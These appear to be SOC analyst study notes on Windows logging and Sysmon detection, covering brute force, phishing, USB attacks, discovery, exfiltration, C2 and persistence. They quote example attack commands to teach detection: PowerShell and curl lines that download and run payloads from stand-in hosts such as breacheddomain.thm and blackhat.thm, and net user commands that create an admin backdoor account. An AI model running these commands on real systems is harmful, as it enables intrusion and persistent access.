Windows Logging for SOC Analysts

Core idea: Every action on Windows (starting a program, creating a file, logging in) can leave a timestamped record. Your job is to chain records together until you have the attacker's full story: how they got in → what they ran → what they changed → where they went.

0. Why Logs Matter

1. Where Windows Logs Live

• Location: C:\Windows\System32\winevt\Logs\
• Format: .evtx, which is binary. Opening it in Notepad shows garbage. Use a parser.
• One .evtx file = one log category, for example:
  • Security.evtx: logons, user management, process activity (the most valuable default log)
  • System.evtx: OS and service events
  • Application.evtx: user-mode apps (IIS, MS SQL…)
  • Windows PowerShell.evtx, OpenSSH%4Operational.evtx, etc.

Event Viewer (Win + R → eventvwr)

1. Left panel: log sources (each one maps to an .evtx file)
2. Log list: one row per event. Sort by:
   • Keywords: Audit Success / Audit Failure
   • Date and Time: displayed in the viewing machine's local time, not UTC
   • Event ID: the event type (e.g. 4625 is always a failed logon)
3. Details pane: the General tab is readable text. The Details tab is XML and shows every field.
4. Actions: use Filter Current Log (by Event ID) and Find.

Reality check: Security logs have 500+ event IDs, and Windows has thousands more. Many are not logged by default, and documentation is spotty. Learn the handful that matter (below).

2. Authentication: 4624 / 4625

Both are logged on the machine being accessed (the target), not the attacker's machine.

Anatomy of a 4624: read these four sections

The Logon ID is the thread that ties everything together. Every later action in that session (account creation, process launches) carries the same Logon ID.

Logon types to know

Playbook: Detect RDP Brute Force

1. Security log → filter 4625
2. Look at Logon Type 3 (modern systems where NLA is on by default) and 10 (old or misconfigured systems without NLA)
3. Red flags:
   • Many different usernames (admin, helpdesk, cctv) → password spraying
   • Many failures on one account, usually Administrator → brute force
   • Workstation name off-pattern (kali instead of THM-PC-06)
   • Unexpected source IP (e.g. a printer hitting your server)

Playbook: Analyse an RDP Logon

1. Security log → filter 4624, Logon Type 10
2. With NLA on, every RDP logon is preceded by a 4624 Type 3. Get the real workstation name from that Type 3 event.
3. Red flags: a brute force just before it, or a suspicious source IP or hostname
4. If it looks malicious: record the Logon ID and follow it forward.

Pattern to remember: Many 4625s followed by one 4624 from the same IP means the brute force succeeded.

Gotchas

• [Certain] Logon IDs are unique only until reboot. After a restart, values can repeat. Always correlate by Logon ID + time window + host, not Logon ID alone.
• [Certain] Hostnames in Network Information are attacker-controllable. Trust the IP over the name, and remember an IP can still be a VPN, NAT, or proxy.

3. User Management: Backdoor Accounts

"Is svc_sysrestore yours?" "No, probably some Windows thing, don't touch it." This is how ransomware operators keep access. An unknown account is suspicious until proven otherwise.

Structure: Who → Whom → What

Every user-management event has three parts:

1. Subject: who did it. Its Logon ID links back to the 4624. (Here the Subject does matter, unlike in 4624.)
2. Object: the target. The label changes (New Account, Member, Target Account), but it always means the target.
3. Details: what changed. The group for 4732/4733, account attributes for 4720.

Classic attacker sequence (same Logon ID throughout):

4624 (Administrator logs in, Logon ID 0x2C7896)
  → 4720 (creates "itsupport")
  → 4732 (adds "itsupport" to BUILTIN\Administrators)
  → 4724 (resets j.adams' password)

Playbook: Hunt for Backdoored Users

1. Security log → filter 4720, 4732
2. Review every event manually. Red flags:
   • No one in IT can confirm it
   • Done outside working hours or on weekends
   • Subject account is unknown or unexpected (e.g. adm.old.2008 creating users)
   • Target name breaks naming convention (backup instead of thm_svc_backup)
3. If malicious: take the Logon ID → find the matching 4624 → run the RDP/logon playbook from Section 2.

Gotchas

• [Certain] 4732/4733 are for local and domain-local groups. Domain global/universal group changes appear as 4728/4756, and only on domain controllers. Hunting only on 4732 in an AD environment misses them.
• [Likely] The Member "Account Name" in 4732 is often blank (-). Rely on the Security ID (SID), not the name.

4. Process Creation: What Was Actually Run

Knowing who got in doesn't tell you how. Process logs show what ran.

Sysmon location: Event Viewer → Applications and Services Logs → Microsoft → Windows → Sysmon → Operational

Sysmon Event 1: four field groups

Almost every attack has to launch a process at some point, so process monitoring is the most important log source for a SOC.

Playbook: Analyse a Process Launch

1. Sysmon → filter Event ID 1
2. Check the process itself. Red flags:
   • Odd location: C:\Temp, C:\Users\Public, Downloads
   • Random or odd name: aa.exe, jqyvpqldou.exe
   • Hash flagged as malware on VirusTotal
3. Check the parent. Red flags:
   • Parent has the same red flags as above
   • Parent doesn't make sense (e.g. notepad.exe spawning cmd.exe, Word spawning PowerShell)
4. Still unsure? Walk up the tree: find the earlier event whose ProcessId = your ParentProcessId, and repeat steps 2–3.
5. Trace the full chain: filter all Security and Sysmon events by the same Logon ID.

Gotchas

• [Certain] Enabling 4688 is not enough to get command lines. You also need the GPO setting "Include command line in process creation events". Without it, 4688 shows the process name only.
• [Certain] PIDs get reused. Matching on ProcessId alone can link you to the wrong process. Use ProcessGuid / ParentProcessGuid, which Sysmon generates as unique identifiers.
• [Certain] Check OriginalFileName against Image. A renamed binary (e.g. svchost.exe whose OriginalFileName is mimikatz.exe) is a strong red flag.

5. Other Sysmon Events: What the Process Did

The Security log has no good equivalent for most of these:

Sysmon is configurable (what to log, what to skip). A popular baseline is Florian Roth's config.

Shared structure

These events contain Process Info (ProcessId, Image) and User Info, but no LogonId and no parent info. → Pivot: take the ProcessId (better: the ProcessGuid) → find the matching Event 1 → get the full context there.

Playbook: Analyse Process Activities

1. Copy the ProcessId from the Event 1
2. Search other Sysmon events with that same ProcessId
3. Network red flags:
   • External IPs on port 80 or unusual ports like 4444
   • Known-malicious IPs (VirusTotal)
   • DNS queries to suspicious domains: *.top, *.click, random strings like hpdaykfpadvsl.com
4. File/registry red flags:
   • Files dropped into staging directories: C:\Temp, C:\Users\Public
   • Dropped file is a script (.bat, .ps1) or executable (.exe, .com)
   • Files or registry keys used for persistence (e.g. ...\CurrentVersion\Run\updater → C:\Temp\fakeupdate.exe)

Example kill chain from Sysmon alone:

11  chrome.exe creates  Downloads\a.exe        (download)
1   a.exe launched                             (execution)
13  a.exe sets Run\updater → fakeupdate.exe    (persistence)
3   a.exe connects to external IP:443          (C2)

6. PowerShell: The Blind Spot

Problem: PowerShell is trusted, built in, and can download, discover, exfiltrate, and inject. But once powershell.exe is running, every command executes inside that one process, so Sysmon Event 1 shows only "powershell.exe started". You can't see any of these:

Get-Content secrets.txt
Get-LocalUser; Get-LocalGroup
Invoke-WebRequest http://c2server.thm/a.exe -OutPath C:\Temp\a.exe

Quick fix: the PowerShell history file

C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

• Plain text, written as soon as Enter is pressed
• One file per user: check every user's folder
• Survives reboots, keeps everything until someone deletes it
• Does NOT record command output or the contents of scripts (powershell .\script.ps1 shows as one line)

Gotchas (important)

• [Certain] Attackers can trivially defeat the history file. It's written by the PSReadLine module, so it isn't created for non-interactive runs (powershell -c "...", -EncodedCommand, scripts run by malware, remote sessions). An attacker can also delete it or turn it off with Set-PSReadLineOption -HistorySaveStyle SaveNothing. An empty or missing history file proves nothing.
• [Certain] Stronger sources to learn next:
  • Script Block Logging: Event 4104 in Microsoft-Windows-PowerShell/Operational. Records the actual code, including de-obfuscated content.
  • Module Logging (4103) and Transcription (full input + output to files)
  • AMSI, which scans script content at runtime
• [Certain] Sysmon Event 1's CommandLine still helps for one-liners: powershell -enc <base64> or -c "IEX(...)" appear in full.

7. Investigation Cheat Sheet

The pivot chain

4625 (failed logons)  ─ brute force?
   ↓ same IP
4624 (success)        ─ record Logon ID + Logon Type
   ↓ Logon ID
4720/4732/4724        ─ backdoor accounts, privilege changes
   ↓ Logon ID
Sysmon 1 (process)    ─ what ran, its parent, hash
   ↓ ProcessGuid / ProcessId
Sysmon 3/22/11/13     ─ network, DNS, files, registry
   +
PowerShell history / 4104 ─ commands inside PowerShell

Pivot keys

Event ID quick reference

Fields you can't trust

• Subject in 4624, since it's only the processing service
• Workstation Name, which the client controls
• Process name alone, since binaries can be renamed (check hash and OriginalFileName)
• A missing PowerShell history file, which proves nothing

Windows Initial Access: Detection Notes

Core idea: Initial Access is the moment an attacker first gets code running or a session open on your machine. Every route falls into one of two groups:

1. Exposed services: the attacker comes to you through an open port.
2. User-driven: the user brings the attacker in by opening a file, link, or USB.

Either way, your job is the same: find the first malicious event, then follow the chain forward (Logon ID / ProcessGuid, as in Tutorial 1).

1. The Two Families

Why both matter:

• An internet-exposed server gets scanned within minutes, so weak passwords and unpatched services get found fast.
• A laptop that isn't internet-exposed is hard to breach unless the user helps. Humans are the weakest link, and Windows dominates workstations, so user-driven alerts are what you'll handle most often.
• Major ransomware groups (e.g. Medusa, Akira) have used all of these methods. Don't assume one group uses one technique.

2. Exposed RDP: "Ransomware Deployment Protocol"

The fact to remember: RDP exposed to the internet with a weak password (12345678, Summer2025) will be breached within days. Millions of RDP endpoints are publicly reachable, and defenders joke that RDP stands for Ransomware Deployment Protocol because so many ransomware cases begin this way.

Lab scenario: An admin exposed RDP on a production server for weekend access, using Administrator:Summer2025.

Attack timeline → where to detect it

The signature pattern:

4625 ×100  (same external IP, common usernames)
   ↓
4624 Type 3  (same IP → password guessed; NLA pre-auth)
   ↓  (minutes to hours later)
4624 Type 10 (interactive RDP session) → Logon ID
   ↓
Sysmon 1 events with that Logon ID → what they did

Gotchas

• [Certain] The gap between 4624 and real activity is normal. Brute-force bots often just verify credentials, then sell or hand off access. The hands-on login can come hours or days later from a different IP. Search for the compromised account, not only the brute-force IP.
• [Certain] Step 3 can land on the wrong 4624 if you don't filter by the attacker's IP. Admins log in too. Always match the source IP to the brute-force source.
• [Likely] Brute force may not show in Security logs if NLA rejects the connection early. RDP-specific logs help: Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational (Event 1149, connection succeeded at network level) and ...LocalSessionManager/Operational (21/22/25, session logon/shell start/reconnect).

3. Phishing: Binary Attachments

Phishing is harder to stop than RDP: you can firewall a port, but you can't firewall a user's curiosity. Attackers mainly use two tricks:

Trick 1: Executable extensions people don't recognize

Everyone fears .exe, but these run code just the same:

Trick 2: Hidden extensions + fake icons

Windows hides known extensions by default, so:

The giveaway: Explorer's Type column says "Application" or "MS-DOS Application", not "PDF Document".

Sysmon chain for a double-extension attachment

Most malware arrives inside a .zip/.rar, not as a bare .exe:

1. Sysmon 1   Image: msedge.exe            Parent: explorer.exe         → browser opened
2. Sysmon 11  Image: msedge.exe            Target: Downloads\invoice.zip → archive downloaded
3. Sysmon 11  Image: explorer.exe / 7zG.exe Target: Downloads\invoice.pdf.exe → unpacked
4. Sysmon 1   Image: Downloads\invoice.pdf.exe  Parent: explorer.exe     → user double-clicked

Read it backwards when investigating: start from the suspicious process (4), then find where the file came from (3 → 2 → 1).

Gotchas

• [Certain] invoice.zip:Zone.Identifier in Sysmon 11 is the Mark-of-the-Web (MOTW). It's a hidden stream the browser attaches to say "this file came from the internet" (it holds the source URL in ReferrerUrl/HostUrl). It's your proof of internet origin. Sysmon Event 15 (FileCreateStreamHash) records its contents, including the download URL.
• [Likely] Attackers wrap payloads in containers to strip MOTW (ISO/IMG/VHD files, some archive tools). If a downloaded file has no MOTW, that doesn't make it safe.
• [Certain] Phishing growth statistics come from security vendors who sell anti-phishing products. Directionally true; treat exact multipliers ("41×") with skepticism.

4. Phishing: LNK Attachments

Why attackers use them: Scripts evade antivirus better than binaries, and a shortcut makes a script look harmless. An LNK's Target field can contain any command, and its icon can be anything (Chrome, a folder, a PDF).

Example: Discounts.zip → Discounts.pdf (real, harmless poster) + Visit Our Website!.lnk, whose Target is:

powershell.exe -c (New-Object System.Net.WebClient).DownloadFile('https://breacheddomain.thm/.../r.exe','C:\ProgramData\r.exe'); start C:\ProgramData\r.exe

→ downloads and runs RemcosRAT (a remote access trojan used against companies and governments).

The harmless PDF is a decoy. It earns trust so the user clicks the second file.

Check it manually: right-click the LNK → Properties → Shortcut tab → read Target.

What LNK execution looks like in logs

LNKs leave little trace of themselves. Explorer reads the Target and launches it, so Sysmon shows:

Sysmon 1   Image: powershell.exe   CommandLine: powershell.exe -c ...   Parent: explorer.exe

It looks exactly like the user opened PowerShell manually.

How to tell it was an LNK: look just before the process launch for Sysmon 11 file creation of a .lnk in Downloads (or a Temp folder). LNK phishing always needs the shortcut to land on disk first.

Red flags

• explorer.exe → powershell.exe / cmd.exe / mshta.exe with a long one-line command (-c, -enc, DownloadFile, IEX, Invoke-WebRequest)
• Payload dropped into C:\ProgramData, C:\Temp, C:\Users\Public
• A shortcut inside an email attachment or archive. Legitimate senders basically never send .lnk files.

Gotchas

• [Certain] .lnk extensions are hidden even when "Show file extensions" is turned ON. Windows treats shortcuts specially. Users can't spot them by extension; only the small arrow overlay and the "Shortcut" type give them away.
• [Likely] Opening a file directly inside a zip (without extracting) makes Explorer copy it to a temp path like %TEMP%\Temp1_Discounts.zip\… first. Your Sysmon 11 may point there, not Downloads.
• [Certain] The Target field displays only ~260 characters. Attackers pad commands with spaces so the malicious part is cut off in the Properties view. Trust the Sysmon CommandLine, not the Properties dialog.

5. Removable Media (USB)

"USB attacks are dead" is false. Recent campaigns (Camaro Dragon, Raspberry Robin) spread via USB. USB delivery:

• bypasses firewalls (like phishing)
• works without internet, even on air-gapped networks
• can keep spreading to every drive plugged into an infected PC

Two scenarios

1. The "gift": a parcel with a USB labelled "A gift from HR". You plug it in, a harmless GIF appears, and malware runs in the background.
2. The infected third party: you hand your USB to a print shop. Their PC is infected with a worm, which copies itself onto your drive. You bring it home or to work, and the chain continues.

How USB malware gets clicked

Auto-run tricks exist, but most infections happen because the user double-clicks:

Detection

USB and phishing look nearly identical: parent = explorer.exe (user double-clicked). The difference is the drive letter:

Sysmon 1   Image: E:\Kingston.exe
           CurrentDirectory: E:\
           Parent: C:\Windows\explorer.exe
           Company/Description/Version: -   ← unsigned, no metadata = suspicious

Red flags: an executable running from D:, E:, F: (removable drive letters), with empty PE metadata, launched by explorer.exe.

Gotchas

• [Certain] Drive letters prove nothing on their own. D: could be a second internal disk, DVD drive, or mapped share; USBs can get any free letter. Confirm the device was removable with:
  • Microsoft-Windows-Partition/Diagnostic Event 1006 (Win10+): device plugged in, with vendor/model/serial
  • Microsoft-Windows-DriverFrameworks-UserMode/Operational 2003/2100 (often disabled by default)
  • Security 6416 (new external device; needs "Audit PnP Activity" turned on)
  • Registry HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (device history)
• [Likely] Many USB worms copy themselves to the local disk first (e.g. into C:\ProgramData or %AppData%) and run from there. The E:\ execution may only appear once, at the very first infection, so look for the earliest event.

6. Cheat Sheet

"How did they get in?" decision table

Parent process tells you the vector

Suspicious locations

Downloads · C:\Temp · %TEMP% · C:\Users\Public · C:\ProgramData · removable drives (D:/E:/F:)

Extensions that execute

.exe .com .scr .cpl .lnk .bat .cmd .ps1 .vbs .js .hta

Post-Breach Activity: Discovery, Collection, Exfiltration & Tool Transfer

Core idea: After Initial Access, the attacker is in an unfamiliar machine. They:

1. Look around: who am I, where am I, what's protected? (Discovery)
2. Grab what's valuable: files, passwords, sessions (Collection + Credential Access)
3. Send it out to a server they control (Exfiltration)
4. Bring in more tools whenever they need them (Ingress Tool Transfer)

Individual commands are rarely the giveaway. What gives the attacker away is the parent process, the timing, and the sequence.

1. Discovery (MITRE TA0007)

Attackers who sprayed phishing at thousands of inboxes don't know which machine they landed on. Before acting they need to answer:

• What is this host for? (a developer laptop? a finance PC? a server?)
• Is it part of a corporate network / domain?
• What privileges do I have?
• What security tools could stop me?

What they look for → common commands

How Discovery happens in practice

1. The phishing payload runs automated discovery first. It may delete itself if it finds a specific AV, or if the victim isn't in the targeted company/country.
2. It then connects back to the attacker (a C2 session, e.g. a Meterpreter reverse shell to port 4444).
3. A human attacker drops into a shell (meterpreter > shell spawns cmd.exe) and types more discovery commands by hand.

Two flavours, two log signatures

Command-line discovery (from malware or a reverse shell):

Downloads\invoice.pdf.exe          ← the malware
├── cmd.exe
│   ├── ipconfig                   network
│   ├── whoami /priv               privileges
│   ├── net user                   local users
│   ├── tasklist /v                running processes
│   └── wmic computersystem get model   hardware
└── powershell.exe
    ├── Get-Service                services
    └── Get-MpPreference           Defender settings

GUI discovery (after an RDP breach the attacker uses the same tools you do):

explorer.exe
├── cmd.exe ...                                  (habit: they still use CMD)
├── mmc.exe compmgmt.msc                         Computer Management
├── control.exe netconnections                   network adapters
├── SystemSettings.exe                           Settings panel
├── notepad.exe C:\...\secrets.txt               reading files
└── taskmgr.exe                                  Task Manager

GUI discovery is much harder to judge, because it looks exactly like a normal admin at work. Context (who logged in, from where, when) is what decides it. See Tutorial 1, 4624 Logon Type 10.

Detecting Discovery

1. Find the commands: Sysmon Event 1 or new lines in the PowerShell history file.
2. Look for a burst: several discovery commands within seconds or minutes. One ipconfig is normal; ipconfig + whoami /priv + net user + tasklist in 30 seconds is not.
3. Walk up the process tree to find the source. Match ParentProcessId → ProcessId until you reach something meaningful:

ipconfig (PID 1830)  →  cmd.exe (1801)  →  invoice.exe (1794)  →  explorer.exe (460)
   discovery            shell               phishing payload       user double-clicked

4. Verdict comes from the root, not the leaf. ipconfig from IT tooling or a user's own terminal is fine; ipconfig whose grandparent is Downloads\invoice.exe is an incident.

Gotchas

• [Certain] Many commands in the tutorial's tree never create a process. dir, type, copy, cd, and echo are built into cmd.exe. Get-Service, Get-MpPreference, Get-ChildItem, Get-Content, and Get-LocalUser are PowerShell cmdlets that run inside powershell.exe. Sysmon Event 1 will not show them as children. You only see real executables (ipconfig.exe, whoami.exe, net.exe, tasklist.exe, systeminfo.exe). For the rest you need the PowerShell history file, Script Block Logging (4104), or the full command line of a cmd.exe /c ... launch.
• [Certain] net user also creates net1.exe. You'll often see net.exe → net1.exe pairs. That's normal for net, not a second attacker command.
• [Likely] WMIC is deprecated and disabled by default on recent Windows 11 builds. Attackers shift to PowerShell (Get-CimInstance), which again hides inside powershell.exe.
• [Certain] Use ProcessGuid to build trees on long-running systems (Tutorial 1). The tutorial's PID chain works in a lab but PIDs are reused.

2. Collection & Credential Access (MITRE TA0009 / TA0006)

Once they know the layout, attackers grab what can be sold or used. Targets depend on the goal:

Secrets aren't only in files: also the registry and process memory (e.g. Mimikatz reading LSASS).

Why cookies matter: stealing a session cookie lets an attacker reuse a logged-in session, often bypassing passwords and MFA.

Human vs automated collection

Human collection: commands to recognise

Real-world case (The DFIR Report): attackers opened financials.docx, insurance...docx, Contracts\...docx, Passwords\...txt in WordPad/Notepad (parent explorer.exe), then zipped everything with 7-Zip. Every file they opened was visible in Sysmon 1 command lines.

The collection pattern

Search (dir / Get-ChildItem -Recurse / findstr)
  → Open & read (notepad / wordpad with sensitive filenames)
    → Stage (copy into C:\Temp, C:\Users\Public, ProgramData)
      → Compress (Compress-Archive / 7za / rar.exe)
        → Exfiltrate

Archive creation in a staging folder is the strongest single signal. Users rarely zip a pile of files into C:\Temp.

Data stealers

Example: Gremlin stealer (Unit 42). A single file that steals VPN profiles, crypto wallets, browser sessions, Steam, Discord, and Telegram data, and takes screenshots. Its code just reads paths directly (e.g. %AppData%\Telegram Desktop\tdata), with no commands to log.

Gotchas

• [Certain] Sysmon doesn't log file reads. There's no "file opened" event. A stealer reading wallet.dat or Cookies leaves no Sysmon trace of the read. You catch stealers by: the suspicious process itself (Event 1: path, hash), files it creates (Event 11: a staging archive), and where it connects (Events 3/22). Windows 4663 object-access auditing can log reads, but only on folders with SACLs configured.
• [Certain] Chrome moved its cookie file to ...\Default\Network\Cookies (since ~2021). Hunt both paths.
• [Certain] The tutorial's copy and Compress-Archive examples are in-process PowerShell (copy is an alias of Copy-Item). Sysmon 1 won't show them; Sysmon 11 will show the resulting stolen_data.zip created by powershell.exe. Pivot on the file creation.

3. Exfiltration (MITRE TA0010)

Collection ends with uploading the data to the attacker. To blend in, attackers use destinations your firewall already trusts:

The key question is which process is talking, not whether the domain is "bad". chrome.exe → Dropbox is a user. invoice.pdf.exe → api.telegram.org is a stealer phoning home.

Gotchas

• [Certain] rclone.exe is a ransomware favourite for bulk exfiltration to Mega/S3. It's legitimate software, so check its parent, location, and any config file passed in the command line.
• [Likely] Exfil size is a better signal than destination. Gigabytes leaving a workstation outside working hours stand out even if the domain looks clean. That's network or proxy data, not Sysmon.

4. Ingress Tool Transfer (MITRE T1105)

Attacks start small: a tiny phishing file, or an RDP session with no tools. Attackers then download what they need:

• Seatbelt: automated discovery and vulnerability checks
• Mimikatz: dumps saved passwords and Windows credentials
• Remcos RAT: full remote control
• Ransomware: last, after the data is stolen

Why not ship everything in one attachment?

• Evade AV: small pieces look less malicious than one big payload.
• Protect their toolkit: if caught at step one, the valuable tools and exploits aren't exposed.

Built-in download methods (Living off the Land)

Note the trick: downloads bad.exe, saves as good.exe. The URL filename and the saved filename differ, which is a classic tell.

Detection: the 4-event chain

Downloads need the network, so follow the process making the connection:

1. Sysmon 1   cmd.exe launched
2. Sysmon 1   curl.exe  CommandLine: curl.exe http://blackhat.thm/bad.exe -o good.exe
3. Sysmon 11  curl.exe creates good.exe
4. Sysmon 22  curl.exe DNS query: blackhat.thm      (+ Sysmon 3 network connection)

For every download, check three things: which process connected · which domain/IP · which file landed.

Red flags

• certutil.exe with -urlcache / -split / -decode. Admins almost never use certutil to download from the web.
• curl.exe / bitsadmin.exe / powershell.exe launched by an Office app, a script host, or a file in Downloads
• A downloaded file renamed to something innocent (good.exe, update.exe, svchost.exe)
• Downloads from GitHub/raw.githubusercontent.com, pastebin, Discord CDN by a non-browser process. Attackers host tools on trusted platforms on purpose.

Gotchas

• [Certain] Sysmon events don't always appear in order. In the screenshot, the DNS event (22) shows after the file was created even though the lookup happened first. Sysmon writes some events when they complete. Sort by UtcTime and link by ProcessGuid/ProcessId, not by row order.
• [Certain] Sysmon only logs what its config includes. Popular configs exclude lots of noisy network and DNS activity. No Event 3/22 doesn't mean no connection happened.
• [Likely] Defender flags plain certutil -urlcache downloads on most up-to-date systems, so attackers prefer curl, PowerShell, or bitsadmin. Absence of certutil proves nothing.

5. Cheat Sheet

The full post-breach chain in logs

Initial Access   explorer.exe → Downloads\invoice.pdf.exe            (Sysmon 1)
C2               invoice.pdf.exe → external IP:4444                   (Sysmon 3)
Discovery        invoice.pdf.exe → cmd.exe → whoami / ipconfig / net  (Sysmon 1, burst)
Tool Transfer    cmd.exe → curl.exe http://.../bad.exe -o good.exe    (Sysmon 1, 11, 22)
Collection       notepad/wordpad <sensitive files>; findstr password  (Sysmon 1)
Staging          C:\Temp\stolen_data.zip created                      (Sysmon 11)
Exfiltration     process → Mega / Telegram / look-alike domain        (Sysmon 3, 22)

What's visible where

Judgement rules

• One discovery command = noise. A burst from a strange parent = incident.
• Judge by the root of the process tree, not the command at the leaf.
• Trusted destination ≠ trusted traffic: always ask which process is talking.
• Staging folder + new archive = data is about to leave.

Command & Control and Persistence

Core idea: Getting in once isn't enough. Attackers need two more things:

1. A way to keep sending commands: Command and Control (C2)
2. A way back in after reboots, patches, and password changes: Persistence

Both leave footprints you already know how to read: Security user events (4720/4732/4724), Sysmon 1/3/11/13, and two new IDs for services and tasks (4697 / 7045, 4698).

1. Command and Control (MITRE TA0011)

Attacks without C2

After an RDP breach, the attacker simply types into the RDP session. They use CMD, Computer Management, Local Security Policy, enable the Guest account, and so on. They see the results in the GUI and need no C2.

Weakness: the moment RDP is closed, firewalled, or the password changes, they lose access. So most attackers set up C2 right after breaching, even when they came in via RDP.

Simplest C2

For phishing or USB infections, the attacker can't RDP in, so they need a process on the victim that connects back and waits for orders 24/7.

1. Attacker sends a phishing attachment
2. Victim opens it → it connects out to the C2 server
3. Attacker controls the victim from a C2 panel (e.g. Cobalt Strike)

How a C2 panel works (Cobalt Strike example):

• Each infected host is a beacon listed with external IP, internal IP, user, computer name, PID, and "last" (seconds since its last check-in)
• The operator types shell dir c:\ → the beacon calls home, picks up the task, runs it, and sends the output back
• The victim connects out to the attacker, not the other way round. Outbound traffic passes most firewalls.

Two-stage C2 (more advanced)

1. The attachment doesn't connect back itself.
2. It downloads a separate C2 implant, hides it (e.g. C:\Temp), and runs it as a new process.
3. If the victim deletes the original attachment, the implant keeps running. (Seen in recent ransomware cases and APT29 phishing campaigns.)

Detecting C2

• Sysmon 3 (network connection) from a process that shouldn't talk to the internet, especially one running from Downloads, Temp, or ProgramData
• Regular, repeated connections to the same destination, the beacon's check-in heartbeat
• Sysmon 22 DNS queries to new or odd domains by the same process
• Children of the implant: cmd.exe / powershell.exe spawned when the operator runs shell ...

Gotchas

• [Certain] Beacons sleep, often with random "jitter". Check-ins may be every 60 s ± 30 %, or once an hour. Look at the pattern over hours, not a single connection.
• [Certain] C2 traffic is usually HTTPS to normal-looking domains or trusted cloud services, so the destination alone rarely gives it away. The process making the connection is what gives it away (Tutorial 3).
• [Likely] Cobalt Strike by default runs many commands by spawning a sacrificial process (often rundll32.exe with no command-line arguments) and injecting into it. A bare rundll32.exe with network activity is a classic red flag.

2. Persistence (MITRE TA0003)

Definition: keeping reliable, long-term access that survives:

• Reboots (malware process killed)
• Patching (exploited vulnerability fixed)
• Password changes (breached RDP user reset)

Not every attack persists. Data stealers breach, collect, exfiltrate, and exit within minutes. Persistence signals an attacker who plans to stay, which usually means something worse is coming.

1. Short-term Initial Access   (fragile: reboot / patch / password reset kills it)
2. Backdoor creation           (Persistence)
3. Long-term access            (survives all three)

3. Persistence via Accounts (after exposed-service breaches)

If they got in through RDP, a mail server, or a web app, attackers can reuse that hole until it's fixed, so they add a second, independent way in:

• A hidden backdoor in the service, e.g. a web shell (T1505.003)
• A new user (T1136) made privileged (T1098) for future RDP logins
• Reset the password of an old, unused account and take it over. This is quieter than creating a new one.

Commands

# Create user
net user "mr.backd00r" "p@ssw0rd!" /add
New-LocalUser "mr.backd00r" -Password [...]

# Make it privileged
net localgroup Administrators "mr.backd00r" /add
Add-LocalGroupMember "Administrators" -Member "mr.backd00r"

GUI equivalent: Computer Management / lusrmgr.msc.

Detection (Security log)

Why the group matters: a new user has no RDP rights and no admin rights by default. 4720 without a follow-up 4732 is usually harmless; 4720 → 4732 Administrators/RDP Users is the backdoor.

Don't judge by the name, investigate

Attackers name accounts itsupport, svc_backup, WDAGUtility2, not hacker. Ask:

1. Who created it? Can that person confirm it?
2. From where and when did the creator log in? Take the Subject Logon ID → find the 4624 → check source IP and time.
3. What else happened in that session? Filter everything by that Logon ID.

Gotchas

• [Certain] Enabling a disabled built-in account (Guest, an old admin) is 4722, not 4720. Hunt 4722 + 4724 together; that's the "revive an old account" pattern.
• [Certain] net user ... /add puts the password in the command line. Sysmon 1 records it in the CommandLine field, so you may have the attacker's password in your logs. Treat logs as sensitive.

4. Persistence via Malware (after phishing/USB)

With no RDP to come back through, the attacker needs the C2 implant to restart automatically. There are 100+ ways; L1/L2 analysts need these four:

Admin-level methods (service, SYSTEM task) run at boot as SYSTEM. User-level methods (Startup, HKCU Run) run only when that user logs in, with that user's rights.

4a. Services

• Viewed in services.msc. Created with sc.exe (admin required).
• Very common in real attacks (many MITRE examples).

Three ways to detect:

1. Sysmon 1: sc.exe create ... with binpath= pointing somewhere odd
2. Security 4697 / System 7045: service installed. Check Service File Name and Service Account (LocalSystem = full control).
3. Process tree: the malicious binary's parent is services.exe (sometimes via svchost.exe)

services.exe
  └─ (svchost.exe, only in some cases)
       └─ C:\malware.exe        ← service binary outside System32/Program Files = red flag

Red flags: service binary in C:\, Temp, Users, ProgramData; random service name; cmd.exe /c or powershell in the binary path; created by a user session that doesn't normally install software.

4b. Scheduled tasks

• Viewed in taskschd.msc. Created with schtasks.exe.
• Easier to configure and hide than services, which makes them the most common persistence method (e.g. APT28, APT41).

Three ways to detect:

1. Sysmon 1: schtasks.exe /create (watch /sc onstart, /sc onlogon, /ru System)
2. Security 4698: task created. Read the Task Content XML for the <Command>.
3. Process tree: parent is the Task Scheduler service:

services.exe
  └─ svchost.exe -k netsvcs -p -s Schedule
       └─ C:\malware.exe

Red flags: task name in the root folder (\BadTask rather than \Microsoft\Windows\...); command pointing to user-writable paths; trigger "At system startup" / "At log on" + SYSTEM; names imitating Microsoft/Google updaters.

4c. Startup folder

Per user:   C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
All users:  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\

• Rarely used by legitimate software, so anything new here deserves a look (e.g. Lumma Stealer drops itself here).
• Detect: Sysmon 11 with a TargetFilename in a Startup path. The Image field tells you who dropped it (e.g. Downloads\invoice.pdf.exe, which links straight back to Initial Access).
• Catch: at logon, startup items are launched by explorer.exe, so the later process launch looks like a normal user double-click. Catch the file creation, not the launch.

4d. Run keys

Per user:   HKCU\Software\Microsoft\Windows\CurrentVersion\Run
All users:  HKLM\Software\Microsoft\Windows\CurrentVersion\Run

• Same MITRE technique as Startup; the entry is written to the registry instead of copying a file.
• Heavily used by legitimate apps (1Password, Edge, OpenVPN…), so compare against the baseline: look for the newcomer.
• Detect: Sysmon 13 with TargetObject ending in \CurrentVersion\Run\<name>. Details = the command that will run; Image = who wrote it.
• Launched at logon by explorer.exe too.

Gotchas

• [Certain] 4697 and 4698 are off by default. They need "Audit Security System Extension" and "Audit Other Object Access Events" respectively. System 7045 (service installed) is on by default, so check it first. For tasks, also check Microsoft-Windows-TaskScheduler/Operational Event 106 (task registered), though that log may itself be disabled.
• [Certain] Attackers don't need sc.exe or schtasks.exe. PowerShell (New-Service, Register-ScheduledTask), WMI, COM, or direct registry writes create services and tasks without either binary running. Back up with: Sysmon 13 on HKLM\SYSTEM\CurrentControlSet\Services\* (services) and Sysmon 11 in C:\Windows\System32\Tasks\ (task XML files).
• [Certain] Run is not the only autostart key. Also watch RunOnce, Winlogon\Shell/Userinit, and Explorer\Shell Folders (which can redirect the Startup folder itself). Tools like Autoruns (Sysinternals) list them all on a live host.
• [Certain] Sysmon 11/13 only fire if your config covers those paths. Good configs (e.g. Florian Roth's/Olaf Hartong's) do; a minimal config may not.
• [Likely] Malware often uses .lnk files in the Startup folder, not .exe, so the dropped "file" may be a shortcut pointing to the real payload elsewhere.

5. Why Attackers Persist

